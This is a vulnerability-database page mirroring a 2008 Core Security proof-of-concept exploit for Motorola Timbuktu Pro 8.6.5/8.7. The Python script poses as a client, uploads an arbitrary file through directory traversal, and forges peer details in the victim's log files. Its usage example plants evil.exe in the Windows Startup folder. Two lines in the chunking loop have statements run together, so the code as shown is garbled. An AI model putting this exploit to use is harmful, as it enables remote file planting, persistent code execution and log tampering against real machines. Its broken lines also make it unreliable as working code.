Lucene search
K

Motorola Timbuktu Pro 8.6.5/8.7 - Directory Traversal / Log Injection

🗓️ 11 Mar 2008 00:00:00Reported by Core SecurityType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Motorola Timbuktu Pro 8.6.5/8.7 Directory Traversal and Log Injection Vulnerabilit

Code
# Core Security Technologies - CoreLabs Advisory
#  http://www.coresecurity.com/corelabs

# Title: Timbuktu Pro Remote Path Traversal and Log Injection
# Advisory ID: CORE-2008-0204
# Advisory URL: http://www.coresecurity.com/?action=item&id=2166
# Date published: 2008-03-11
# Date of last update: 2008-03-11
# Vendors contacted: Motorola
# Release mode: Forced release

#  Proof of concept code follows. This PoC allows a remote attacker to
# upload a file to an arbitrary location on the victim's machine and forge
# peer information on the log lines of the victim's application.

from sys        import argv
from socket     import *
from struct     import pack

#from utils      import printFormatted
#from time import sleep

init_send_op_packet =   (   '\x00\x01\x60\x00\x00\x52\x00\x25'
                            '\x00\x22\x02\x01\x00\x04\x03\x07'
                            '\x00\x05\x00\x01\x00\x00\x00\xf1'
                            '\x06\x00\xf7\x76\xdd\x77\x00\x00'
                            '\x00\x00\x08\x7c\x67\x60\x00\x00'
                            '\x00\x00\x00\x00\x00\x00\x00\x00'
                            '\x00\x00\x18\xf1\x06\x00\xd1\x90'
                            '\xbc\x60\x38\xf1\x06\x00\x32\x94'
                            '\xc1\x60\x50\x92\xc4\x60\x00\x00'
                            '\x00\x00\x18\x92\xc4\x60\x2d\xbe'
                            '\x80\x7c\x08\x7c\x67\x60\x20\x46'
                        )

second_send_op_packet  = (  '\x00\x01\x61\x00\x00\x52\x00\x25'
                            '\x00\x22\x02\x01\x00\x04\x03\x07'
                            '\x00\x05\x00\x01\x10\x00\xe0\xf0'
                            '\x06\x00\x51\x05\x91\x7c\x28\x09'
                            '\x08\x00\x6d\x05\x91\x7c\x1c\xf1'
                            '\x06\x00\x02\x00\x00\x00\x10\x00'
                            '\x00\x00\xb8\xf5\xbe\x60\x00\x00'
                            '\xac\x00\x00\x00\x00\x00\xbd\xf5'
                            '\xbe\x60\x30\x90\xc4\x60\x07\x00'
                            '\x00\x00\xd0\x13\x63\x60\x71\xfb'
                            '\x90\x7c\x40\xf0\x06\x00\x0e\x00'
                            )

peer_info_exchange      = ( '\x00\x01\x62\x00\x00\xb0\x00\x23'
                            '\x07\x22\x03\x07\x70\x2c\xa5\x51'
                            '\x4c\xca\xe3\xfb\x70\x2c\xa5\x51'
                            '\x4c\xca\xe3\xfb\x00\x09'
                            '%(user_name)s'
                            '\x01\x97'
                            '%(host_name)s'
                            ''
                            '\x00\x00\x01\x02\x00\x04'
                            '\xb1\x1c\x39\x51\x00\x00\x00\x00'
                            '%(guest_ip_address)s'
                            '\x00\x00\x00\x00\x00\x00'
                            '\x00\x00\x00\x00\x00\x00'
                            )

ack_peer_info           =   '\xff'

attach_info_packet      = ('\xfb\x00\x00\x00\x00'
                            'BINAmdos'
                            '\xc2\x12\x49\xaf\xbd\x35\xac\x98'
                            '\x00\x00\x00\x00'
                            '%(attachment_length)s'
                            '\x00\x00\x00\x00'
                            '\xff\xff\xff\xff\x00\x00\x00\x00'
                            '\x00\x00\x00\x00\x00\x00\x00\x00'
                            '\x00\x00\x00\x00\x00\x00'
                            '%(attachment_filename)s'
                            )

attach_info_ack1        =  '\xf9\x00'

# Transfer file content here !!!
# \xF8 + 2 byte length + data

attach_file_ack1      =  '\xf7'

attach_file_ack2      =  '\xfa'


class Tb2FileSender:
    '''
    Fake timbuktu client that implements the 'Notes' feature to send a
    message with a file attached to it.
    '''

    def __init__(self, target, fake_src_ip, fake_hostname, fake_username, dest_filename, file_content):
        '''
        Setup TCP Connection to standard port TCP/407
        '''
        self.sck = socket(AF_INET, SOCK_STREAM)
        self.sck.connect((target, 407))
        self.fake_src_ip    = fake_src_ip
        self.fake_hostname  = fake_hostname     # Peer computer name
        self.fake_username  = fake_username     # Peer user name
        self.dest_filename  = dest_filename     # Destination filename including path (like ../../a.exe)
        self.file_content   = file_content      # Content of the destination file

    def sendAndRecv(self, packet, log, expected_response_length=0x500, print_response=False):
        self.sck.send(packet)
        if log:
            print '[-] %s' % log
        if expected_response_length > 0:
            resp = self.sck.recv(expected_response_length)
            if print_response:
                #printFormatted(resp)
                print '-' * 70 + '\n'
            return resp
        return None

    def getPascalString(self, str):
        '''
        Format the strings as 1 Byte Length + String.
        '''
        return pack('B', len(str)) + str

    def createFakePeerInfoPacket(self):
        '''
        Create a packet with forged guest information to avoid giving away
        real info in the log files.
        '''
        #
        # Ohhh... by the way, these two names goes diretly to the log file... ehehhee  :) 
        #
        guest_host_name      = self.fake_hostname.replace('\\n', '\r\n')
        guest_user_name      = self.fake_username.replace('\\n', '\r\n')

        username_max_len     = 0x37 # This is not the application real limit,
        hostname_max_len     = 0x3f #   but it is the limit for this packet.

        host_name            = self.getPascalString(guest_host_name)
        user_name            = self.getPascalString(guest_user_name)

        # Pad the string to fill the empty space and avoid packet length recalculation
        host_name           += ('\x00' * (hostname_max_len - len(guest_host_name)))
        user_name           += ('\x00' * (username_max_len - len(guest_user_name)))

        guest_ip_address     = self.fake_src_ip.split('.')
        guest_ip_address     = pack('BBBB', int(guest_ip_address[0]), int(guest_ip_address[1]), int(guest_ip_address[2]), int(guest_ip_address[3]))

        return peer_info_exchange % vars()

    def getAttachContent(self):
        '''
        Retrieve the content of the local file and send it as the attach content.
        '''
        fd      = open(self.file_content, 'rb')
        data    = fd.read()
        fd.close()
        return data

    def send(self):
        '''
        Send a sequence of packet to upload our data to the filename and path
        specified by the user's parameters.
        '''

        # Begin protocol negotiation with the target
        self.sendAndRecv(init_send_op_packet,               'Note Operation initial packet sent.')
        self.sendAndRecv(second_send_op_packet,             'Note Operation negotiation packet sent.')

        # Send the packet with our fake info to fool the logs  :) 
        self.sendAndRecv(self.createFakePeerInfoPacket(),   'Peer info packet sent.')
        self.sendAndRecv(ack_peer_info,                     'Ack peer info packet sent.')

        # Setup attachment packets that contain information about the file being transfered
        max_trx_chunk_size  = 0x5B4
        trx_until_resync    = 0x16C5

        payload             = self.getAttachContent()
        payload_length      = len(payload)
        attachment_length   = pack('>L', payload_length)

        #
        # Send info about the attachment.
        #
        # The '\' character is nedded to bypass the application filter.
        # This is actually the Bug !
        attachment_filename  = self.getPascalString('\\' + self.dest_filename.replace('\\', '/'))

        attach_info          = attach_info_packet % vars()

        self.sendAndRecv(attach_info     ,   'Attachment info sent.')
        self.sendAndRecv(attach_info_ack1,   'Attachment intermediate info sent.')

        # Create a list with the chunks to send and prepare their headers is appropriate
        attachment_content   = list()

        # We check if the data to send fits into one set of chunks.
        if payload_length < max_trx_chunk_size:
            attachment_content.append('\xF8' + pack('>H', payload_length) + payload)
        else:
            # If the data is bigger than one chunk, then send multiple chunks and their headers.
            curr_pos        = 0     # keeps our current position into the data file content
            resync_chunk    = True  # flag to indicate if a new set of chunk should be set
            pos_in_chunk    = 0     # keeps our position into the current chunk set
            do_recv         = False # flag to indicate if recv is needed to receive target data

            while curr_pos <= payload_length:
                do_recv      = False
                # Is this the last chunk ?
                if curr_pos > 0 and pos_in_chunk != trx_until_resync:
                    # If it is the last chunk, then just set length to the rest of the data
                    if trx_until_resync - pos_in_chunk < max_trx_chunk_size:
                        chunk_length = trx_until_resync - pos_in_chunk
                        do_recv = True
                    else:
                        # Otherwise, set the data length as usual because it's an intermediate chunk
                        chunk_length = max_trx_chunk_size data         = ''
                else:
                    # Start a new set of chunks and check if this is not the last set
                    # If it is, then don't set the maximun size, just the rest of the length.
                    data         = '\xF8'   # Set the chunk set header
                    if payload_length - curr_pos < trx_until_resync:
                        chunk_length = payload_length - curr_pos
                        data        += pack('>H', chunk_length)
                    else:
                        # This is not the last chunk, so we set the maximun size and begin
                        #   it transmittion.
                        chunk_length = max_trx_chunk_size
                        data        += pack('>H', trx_until_resync) pos_in_chunk = 0

                # Append the current chunk into a list to be sent later
                attachment_content.append((do_recv, data + payload[curr_pos : curr_pos + chunk_length]))
                curr_pos        += chunk_length
                pos_in_chunk    += chunk_length

        #
        # Send file content in small chunks
        #
        print '[-] Beginning file transfer... (this may take some time)'
        for chunk in attachment_content:
            if chunk[0]:
                do_recv = 0x500
            else:
                do_recv = 0
            self.sendAndRecv(chunk[1], '', do_recv)
            #sleep(0.5)
        print '[-] File transfer complete'

        # Send the final ACKs to allow the program to create the remote file.
        self.sendAndRecv(attach_file_ack1,   'Note body intermediate info sent.')
        self.sendAndRecv(attach_file_ack2,   'Note body intermediate info sent.')

        # Close the connection here to avoid the program displaying any message
        self.sck.close()
        return


if __name__ == "__main__":
    if len(argv) != 7:
        print (r'\nUsage:\n\n%s <target> <fake_source_ip> <fake_hostname> '
                '<fake_username> <dest_filename_with_path> <file2upload>\n\n'
                'Example:\n\n'
                '%s victim.com 1.2.3.4 trust.com yourAdmin "..\..\..\Documents And Settings\All Users\Start Menu\Programs\Startup\evil.exe" c:\payload.exe' % (argv[0], argv[0]) )
    else:
        target          = argv[1]
        fake_src_ip     = argv[2]
        fake_hostname   = argv[3]
        fake_username   = argv[4]
        dest_filename   = argv[5]
        file_content    = argv[6]

        tb2 = Tb2FileSender(target, fake_src_ip, fake_hostname, fake_username, dest_filename, file_content)
        tb2.send()

# milw0rm.com [2008-03-11]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation